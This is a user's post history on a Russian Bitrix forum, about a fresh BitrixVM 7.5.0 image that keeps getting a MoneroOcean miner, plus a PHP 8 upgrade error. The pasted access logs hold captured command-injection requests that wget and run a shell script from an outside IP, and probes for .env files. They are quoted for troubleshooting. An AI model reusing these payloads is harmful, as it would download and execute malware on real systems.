Разработчикам

Системный Администратор (Все сообщения пользователя)

VMBitrix 7.5.0 в релизе

Заглянувший

Сообщений: 10 Регистрация: 30.03.2021

18.04.2024 11:43:45

Цитата
написал: А мне интересно, а хостер какой?

Таймвеб

Цитата
написал: Образ был скачан с этой страницы или как?

Да, скачивался оттуда. У хостера тоже была, но помоему предыдущей версии, поэтому качал с оф.сайта.

Цитата
написал: Скачать образ, распаковать, проверить обыкновенный антивирусом.

Спасибо, попробую для теста проверить.

Цитата
написал: Стандартный антивирус на сайтах Битрикс включен?

Да, там все галочки включены и проверки пройдены.

Цитата

написал:
1. Вирус сидит в образе изначально.2. Вирус переползает из Вашего компьютера на сервер во время сеанса связи. Технически это непонятно, если используется консоль на сайте хостера, но может связь все равно выдается через ssh?3. Вирус ползет от хостера

1. Возможно.
2. Не возможно, поскольку я не цепляюсь туда пока не будет проблемы и я не увижу нагрузку на ЦП в личном кабинете хостера. Только тогда я подключаюсь через встроенную консоль в ЛК, а не через программы на ПК. Так же для теста это делал с разных ПК, которых в разных сетях и геолокациях.
3. Может, но кто признается.

Перейти

VMBitrix 7.5.0 в релизе

Пользователь 3228669

Заглянувший

Сообщений: 10 Регистрация: 30.03.2021

03.04.2024 12:28:58

Цитата
написал: Вы не учитываете тот случай, когда вирус может находится в программах вашего компьютера, например, файловый менеджер и так далее.

Еще раз.
Получил образ оф. BitrixVM, Арендовал хост, Развернул полученный образ без каких-либо изменений в конфигурацию. На сайт не заходили, На хостинг не заходили, На сервер не заходили.
Залился майнер. Почистил через консоль на хостинге, никаких файловых менеджеров winscp, ssh и прочего. Вышел. Прошла неделя майнер снова там.

Перейти

VMBitrix 7.5.0 в релизе

Пользователь 3228669

Заглянувший

Сообщений: 10 Регистрация: 30.03.2021

02.04.2024 15:53:16

Цитата
написал: Уязвимость у вас, а не в сборке.

Тут еще минимум 3 человека кто написал о такой же проблеме с майнером.
А если учесть что вся установка образа BitrixVM заключалась в Далее-Далее-Далее-Готово без каких-либо изменений с моей стороны, то довольно странно.

Перейти

VMBitrix 7.5.0 в релизе

Пользователь 3228669

Заглянувший

Сообщений: 10 Регистрация: 30.03.2021

02.04.2024 12:47:10

Роман Евсеев, Спасибо, не готов.

Мне просто нужно понять, я же правильно понимаю что уязвимость в сборке БитриксВМ? Чистая установка "с нуля" образа и через день заливается майнер и запускается под пользователем bitrix на сервере.

Перейти

VMBitrix 7.5.0 в релизе

Пользователь 3228669

Заглянувший

Сообщений: 10 Регистрация: 30.03.2021

02.04.2024 11:43:12

Цитата
написал: Что открывается по ip-адресу?

403-я на 80/443 портах

Цитата
написал: Где у вас лежит сайт - в www или ext_www?

В ext_www. Это готовая виртуалка BitrixVM, никакие изменения не вносились. Скачали образ, развенули, работаем.

Цитата
написал: В директории с сайтом нет установочного скрипта?

Не заметил

Перейти

VMBitrix 7.5.0 в релизе

Пользователь 3228669

Заглянувший

Сообщений: 10 Регистрация: 30.03.2021

02.04.2024 10:55:39

В логах access за час до нагрузки на проц светилось вот такое:

Код

"GET /actuator/gateway/routes HTTP/1.0" 404 284 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/592.40 (KHTML, like Gecko) Chrome/58.0.5 Safari/537.36"
"GET /robots.txt HTTP/1.0" 404 270 "-" "Go-http-client/1.1"
"GET /sitemap.xml HTTP/1.0" 404 271 "-" "Go-http-client/1.1"
"GET / HTTP/1.0" 403 264 "-" "-"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
"GET / HTTP/1.0" 403 264 "-" "-"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)&quot;
"GET /.env HTTP/1.0" 404 265 "-" "python-httpx/0.27.0"
"POST / HTTP/1.0" 404 261 "-" "python-httpx/0.27.0"
"GET /ip HTTP/1.0" 404 261 "-" "Go-http-client/1.1"
"OPTIONS / HTTP/1.0" 200 - "-" "-"
"GET / HTTP/1.0" 403 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
"GET / HTTP/1.0" 403 265 "-" "Mozilla/5.0 (X11; Linux x86_64) Chrome/98.0.4758.132 Safari/537.36"
"GET /webui/ HTTP/1.0" 404 267 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
"GET / HTTP/1.0" 403 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
"GET /geoserver/web/ HTTP/1.0" 404 275 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
"GET / HTTP/1.0" 403 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
"GET / HTTP/1.0" 403 264 "-" "-"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)&quot;
"GET / HTTP/1.0" 403 264 "-" "-"
"GET / HTTP/1.0" 403 265 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)&quot;
"GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.8.244%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.0" 404 287 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
"GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.8.244%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.0" 404 287 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
"GET /dns-query?dns=q80BAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB HTTP/1.0" 404 270 "-" "Go-http-client/1.1"
"POST /dns-query HTTP/1.0" 404 270 "-" "Go-http-client/1.1"
"GET /dns-query?name=example.com&type=A HTTP/1.0" 404 270 "-" "Go-http-client/1.1"
"GET /dns-query?dns=q80BAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB HTTP/1.0" 404 270 "-" "Go-http-client/1.1"
"POST /dns-query HTTP/1.0" 404 270 "-" "Go-http-client/1.1"

Перейти

VMBitrix 7.5.0 в релизе

Пользователь 3228669 Заглянувший Сообщений: 10 Регистрация: 30.03.2021	# 02.04.2024 08:21:12 В общем MoneroOcean заливается раз в неделю +/- 1-2 дня. Видимо фикса ждать не скоро.
	Перейти

VMBitrix 7.5.0 в релизе

Пользователь 3228669

Заглянувший

Сообщений: 10 Регистрация: 30.03.2021

27.03.2024 11:43:23

Цитата
написал: А значит через установленный сайт. Дыра есть в битрикс.Надо писать в поддержку.

Обращался, там рекомендуют нанять грамотного администратора.

Перейти

VMBitrix 7.5.0 в релизе

Пользователь 3228669 Заглянувший Сообщений: 10 Регистрация: 30.03.2021	# 18.03.2024 11:57:44 Аналогично с майнером MoneroOcean. 15 числа залился в /tmp/.tmp убил процессы, почистил. Сегодня опять нагрузка, проверяю, снова MoneroOcean. Кто как решил проблему? Фиксы будут в ближайшее время?
	Перейти

Ошибка при обновлении php до 8

Пользователь 3228669

Заглянувший

Сообщений: 10 Регистрация: 30.03.2021

02.03.2023 14:29:08

Приветствую, камрады!
Аналогичная ошибка при переключении версии php.

Код

[TypeError] 
call_user_func_array(): Argument #1 ($callback) must be a valid callback, non-static method CSiteCorporate::ShowPanel() cannot be called statically (0)
/home/c/cv61149/public_html/bitrix/modules/main/classes/general/module.php:480
#0: ExecuteModuleEventEx(array)
  /home/c/cv61149/public_html/bitrix/modules/main/include.php:452
#1: require_once(string)
  /home/c/cv61149/public_html/bitrix/modules/main/include/prolog_admin_before.php:34
#2: require_once(string)
  /home/c/cv61149/public_html/bitrix/modules/main/interface/desktop.php:2
#3: require(string)
  /home/c/cv61149/public_html/bitrix/admin/index.php:2

Я открыл general/module.php:480 и там на этой отметке стоит строка (выделил <<<<<<).

Код

      if(is_array($arEvent["TO_METHOD_ARG"]) && count($arEvent["TO_METHOD_ARG"]))
         $args = array_merge($arEvent["TO_METHOD_ARG"], $arParams);
      else
         $args = $arParams;
      class_exists($arEvent["TO_CLASS"]);
      return call_user_func_array(array($arEvent["TO_CLASS"], $arEvent["TO_METHOD"]), $args); <<<<<<<<<<
   }
   else

И как я понял надо поменять на что-то первый аргумент, а именно $arEvent, но меня смущают сомнения, потому что этот аргумент много где используется, в том числе и выше по тексту кода.
Мне только на этой строчке надо как-то его изменить или выше по тексту тоже?

Перейти

Системный Администратор (Все сообщения пользователя)

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером